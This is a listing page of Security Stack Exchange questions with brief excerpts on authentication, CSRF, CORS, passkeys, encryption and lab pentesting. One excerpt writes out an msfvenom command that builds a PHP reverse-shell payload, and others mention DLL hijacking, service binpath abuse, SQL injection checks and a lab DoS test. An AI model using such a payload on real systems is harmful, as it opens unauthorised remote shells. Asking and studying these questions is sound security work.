All Questions
68,015
questions
1
vote
3
answers
123
views
is mTLS authentication alone considered secure for authentication
We have recently engaged an external party to undertake a pen test on a recently implemented API. The API is considered internal although it itself is on AWS and is consumed from on-prem resources, ...
- 113
0
votes
0
answers
20
views
Backup to a remote Encrypted APFS drive mounted through Samba. Is this a sound plan?
Say I have a remote machine (something like a VPS) that I have no physical access or physical authority over other than a user on it (with root access). However, I'd like to do Time Machine backups on ...
- 1,039
0
votes
1
answer
18
views
Can Caching cause my WAF logged events to drop?
I've been using Ninjafirewall on WordPress websites for a while.
I recently installed a new caching plugin on my main website and I noticed the firewall log which usually has around 5000 blocked ...
- 719
0
votes
0
answers
68
views
Are there security risks with using someone else's ISP?
I recently found out that, due to a mix-up at Australia's National Broadband Network, the connection to our Internet Service Provider had been swapped with a neighbour's. It doesn't look like the ...
- 151
0
votes
0
answers
18
views
MySQLi On 3 Separate Queries At Once
I'm trying to check whether or not an injectable parameter I found is actually exploitable in a bug bounty contest my college is holding. The code base is open source so I have access to the exact SQL ...
- 1
0
votes
0
answers
8
views
How to stop web browsers sending requests on startup [migrated]
I looked at netstat -nut which starting a new instance of chromium, where the "page to open at startup" was initially set to none, and afterwards with the page set to a localhost page.
I was ...
- 289
0
votes
0
answers
33
views
Can search robots index internal corporate domains?
I was surfing Google and by chance the corporate GitLab domain came up in the search results. I tried to access it, but it gave me a DNS error. That is, this gitlab is deployed on the company’s ...
- 1,015
0
votes
2
answers
67
views
Not requiring POST requests... results in a CSRF vulnerability?
I'm setting up a Jenkins server, and ran across a reported vulnerability, SECURITY-3033, also identified as CVE-2023-37954:
Rebuilder Plugin 320.v5a_0933a_e7d61 and earlier does not require POST
...
- 145
4
votes
2
answers
1k
views
Do browsers have a defence against CORS from internet to intranet sites?
I was testing an internal application recently, that had fully permissive CORS, i.e. it echoes the Origin header into Access-Control-Allow-Origin, has Access-Control-Allow-Credentials: true and ...
- 33.1k
0
votes
1
answer
50
views
Why does iOS allow using passkey without biometric? [closed]
One of the touted features of passkeys is that they depend on a biometric in order to use them. However, on an iPhone, if the finger-print scanner isn’t successful, it offers you the option of using ...
- 1,187
0
votes
1
answer
101
views
Identifying a session hijacking attack [closed]
I understand session hijacking has been a widespread attack vector in the past months.
If an attacker steals a user’s session cookies, they can bypass 2FA and login/password.
If this is the case, how ...
- 3
0
votes
0
answers
26
views
Proof of concept: Services File Permissions Weakness (T1574.010)
I am trying to do a proof of concept where I use technique T1574.010. In this technique, I should rewrite the binpath of some service in Windows 10 so that when the service starts again the payload ...
- 1
0
votes
0
answers
5
views
Using low level keyboard windows hook to read key presses & still being 'trusted' [migrated]
I am developing software for my client.
The software is a game controller configuration and enhancement software that runs on Windows machines.
I needed a feature to map keyboard keypresses to ...
- 101
0
votes
1
answer
113
views
Metasploit - error msfvenom unloadable payload
I have been trying to generate a payload using msfvenom:
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.2.15 LPORT=1234 -f raw > shell.php
I keep getting this error:
"error: unloadable ...
- 1
0
votes
0
answers
37
views
Is a Certificate Signing Request a concatenation of public key and metadata?
From this question, it is said that when creating a CSR, we attach the public key and fill in other data.
When creating a CSR, you attach your public key to it and fill in other needed data; you then ...
- 1
0
votes
0
answers
23
views
How do I make sure my PC program is receiving socketio events from my phone? [migrated]
I have a C# program, and a flutter application that runs on mobiles. They communicate through a python socketio server.
The C# program and flutter app exchange data first by entering a room inside the ...
- 1
17
votes
2
answers
6k
views
How is Xiaomi changing my browser home page?
I have recently observed that the home page of Google Chrome on my Xiaomi Android phone has been altered to a website called "Mintnav". I did not update any software. How is Xiaomi able to ...
- 187
0
votes
0
answers
32
views
Intel SGX Enclave store data between ECALLs
How can I keep data preserved between ECALLs? (not nested ECALLs) I found two ways: a global array 2)seal data, transfer them outside the enclave and transfer them back inside with the next ECALL, ...
- 11
0
votes
0
answers
8
views
Strange window opens randomly and closes very quickly [migrated]
It has been some time now that in Windows 11, I experience this weird issue:
Now and then, I see a window (something bigger than a command prompt) opening and closing immediately.
It has a blue color, ...
0
votes
0
answers
8
views
Saving the captured traffic of tcpdump after 24 hours [migrated]
I'm currently setting up multiple Linux Servers in order to build a honeypot infrastructure. I want to capture the incoming and outgoing traffic with tcpdump too. Is it possible to save the captured ...
- 3
0
votes
1
answer
66
views
Suspected Audio/Wireless/Bluetooth Hijacking - Need Expert Insight [closed]
I have reason to believe that there may be ongoing audio/wireless/Bluetooth hijacking occurring in my network environment.
The issue appears to involve unauthorized access to Bluetooth and wireless ...
- 1
0
votes
0
answers
4
views
How to encrypt a disk with 2 Windows OSes and 3 partitions with Vera Crypt? [migrated]
I have a disk with an MBR partition scheme and 3 partitions. On the first partition, there's a Windows 7 C: drive which I keep to play some retro games that won't run on newer Windows. The second ...
- 1
-1
votes
0
answers
57
views
Why there are not different schemas in request and response at swagger sample pet shop? [migrated]
The question refers to the pet shop example API at https://editor.swagger.io/ or see below.
The example uses the same pet scheme in requestBody and responses.
What is the reasoning behind this?
Is it ...
0
votes
0
answers
24
views
Passkey for user not present app?
Is a passkey (plus auth code grant) a reasonable/ appropriate replacement for JWT grant flow?
I'm currently using JWT for an autonomous app (user not present).
Does passkey require web browser ...
- 591
0
votes
0
answers
24
views
Specific station not showing up on airmon-ng though there are two devices connected
I'm on a mac using kali linux.
Why aren't any specific devices showing up despite two devices currently using the wifi?
- 1
0
votes
1
answer
36
views
Simplest federated authentication protocol: is this the right way to do it?
I've been struggling to find very simple, low level explanations of federated authentication protocols. Previously I've seen SAML and oauth, but they both seem to be very high level and far more ...
- 103
0
votes
0
answers
31
views
CSP script-scr blob
What are the risks to allow a "blob:" directive to the script-src CSP? Is it safe?
I have a list of allowed domains defined in script-src, but nonetheless I got an error specifying the ...
0
votes
1
answer
62
views
Why is it safer to run as non-root inside a single-user container that is deployed with rootless podman?
According to the JellyFin documentation
Podman doesn't require root access to run containers, although there are some details to be mindful of; see the relevant documentation. For security, the ...
- 2,652
1
vote
0
answers
28
views
Can I set up a TPM2 policy that ANDs multiple OR policies?
I'd like to define a TPM access policy that allowlists multiple different values for certain PCRs. Hence, i'd like a policy like this:
(PolicyOR(PolicyPCR(value1,pcr4),PolicyPCR(value2,pcr4),PolicyPCR(...
- 111
0
votes
1
answer
57
views
Write message that can be verified by any member of a group
I am trying to develop a scheme for publishing a message to a group of recipients. Any recipient needs to be able to verify who the message was sent by.
There may be tens of messages generated each ...
- 101
0
votes
1
answer
45
views
Is csrf protection required for extremely short lived cookies?
I have an app with token-based authentication (stateless).
for specific endpoint that serves an pdf file, it was ideal for me to authenticate via cookie.
so I creates a cookie with my access token, ...
- 103
0
votes
1
answer
95
views
Should i verify otp after login or before?
I am building a token-based authentication API, and I have three main methods:
Register Method: It takes credentials (email, password, phone number) and creates the user, then sends an OTP message to ...
4
votes
1
answer
100
views
GPG allows importing an invalid secp256k1 public key
I came across a PGP public key that seems invalid. The key is a secp256k1 public key that supported by GPG. In fact, GPG allows importing that key even if it has an invalid secp256k1 public key inside....
- 143
0
votes
0
answers
10
views
Read EC Public Key, works in python, error in java [migrated]
I have this issue moving some code from python to java.
The following public key:
MDkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDIgAC2X07fCab+nIPAWBb5eRlhdOfR0Bkrhx7TgM3cGbR31g=
can be succesfully read from this ...
- 101
0
votes
0
answers
51
views
NMAP same destination ip, different scanner interface, different result
I am trying to check the port status of a external IP using NMAP, I am getting different result on different interface to same destination (destination is a public IP).
When NMAP tried from the ...
0
votes
0
answers
78
views
Outdoor backup: gocryptfs --init --reverse: alway same .diriv in 1st level directory
Intro
Trying to send encrypted backup of in productions filesystems, I was interested by the ability of using gocryptfs in reverse mode!
The idea is to
use gocryptfs --reverse from any existing (...
0
votes
0
answers
15
views
Parsing and loading EC Private key, curve secp256r1 [migrated]
I'm doing a spin-off request from this: EC Key request
As my problem is a bit different but similar.
I have the following private key (in this format, not a file):
MHcCAQEEID0VR/I814rQUqWIYPEhno+3kexN/...
- 101
0
votes
0
answers
11
views
How to renew the Root CA Certificate on Microsoft Active Directory Enterprise CA [migrated]
How to renew the Root CA certificate on Microsoft Active Directory Enterprise Root Certificate Authority Windows Server 2012 R2?
The certificate expired on 27 Aug. 2023, getting the error below while ...
0
votes
3
answers
121
views
self signed certificate
I read a lot of articles about self signed certificates and I'm not exactly sure if I'm getting near to what I want to actually achieve.
I'm trying to implement a self signed certificate so that the ...
0
votes
1
answer
52
views
Executable to try DLL hijacking attacks
I'm doing an educational project and I need an executable to try different DLL hijacking techniques in Windows 10.
Obviously, there are no such vulnerabilities in Windows 10 by default, so I thought ...
- 1
0
votes
0
answers
23
views
Upgrade MSF ssh to meterpreter on a host behind a forwarded host
I'm training on a test network. I managed to snatch some ssh credentials and spawn a shell with msfconsole. Turns out a connection via ssh to 192.168.0.3:2222 forwards me to 192.168.0.4:22. So I have ...
1
vote
1
answer
77
views
Which response headers for HTML snippets?
I have a web application that retrieves HTML snippets from the server and places them on the page, using JavaScript. The server responds with a small part of a HTML document. What Content-Type header ...
- 29.1k
0
votes
1
answer
54
views
How to avoid performance issues with envelope encryption when using separate DEK's for each piece of data?
Posted this first on stackoverflow but was suggested to repost it here.
I am planning on using envelope encryption for data stored in a database in a multi-tenant solution. Envelope encryption suggest ...
1
vote
1
answer
95
views
Why reveal or hide folders' absolute paths in link sharing?
Try following this link to a folder in my OneDrive — it's set to "Anyone with the link can view".
Times when Microsoft Word's grammar checker has been abysmally wrong
You'll notice that ...
- 744
0
votes
3
answers
110
views
AES mode for reusing same keyset
I'm building a sharing protocol where users share data. To make it so only those authorised to read the data can do it, I'm using AES256 encryption. Every authorized person has a keyset (IV & key) ...
- 123
0
votes
0
answers
5
views
Iptables Command [migrated]
I have a ubuntu router set up that is leasing addresses on the LAN ETHO side from my WAN WLAN0 connection through iptables routing. I tested my device and my ETH0 network is able to ssh and ping the ...
0
votes
2
answers
103
views
Extract Keepass password generator dictionary [closed]
Can I extract a dictionary list from the keepass password generator as my senior forgot his master password?
0
votes
1
answer
62
views
Using fingerprints everywhere to identify at physical, ID required, places
I was wondering why people can't just use fingerprints to retrieve all necessary documents where required.
What would be the problem with such form of authentication, which could be used via ...
0
votes
0
answers
51
views
How can I verify that my DoS attack is effective?
I was trying to simulate a DoS attack on the CORE network emulator using hping3 (Ubuntu). The topology is like three PCs connected by a router. The client's IP is 10.0.0.20/24, The server's IP is 10.0....
0
votes
1
answer
33
views
Starting my tablet with modified smartphone
Can an attacker start a computer or tablet (that is off) that they know nothing about by using a modified smartphone to do it?
Research: I didn't find much except this article from 12 years ago which ...
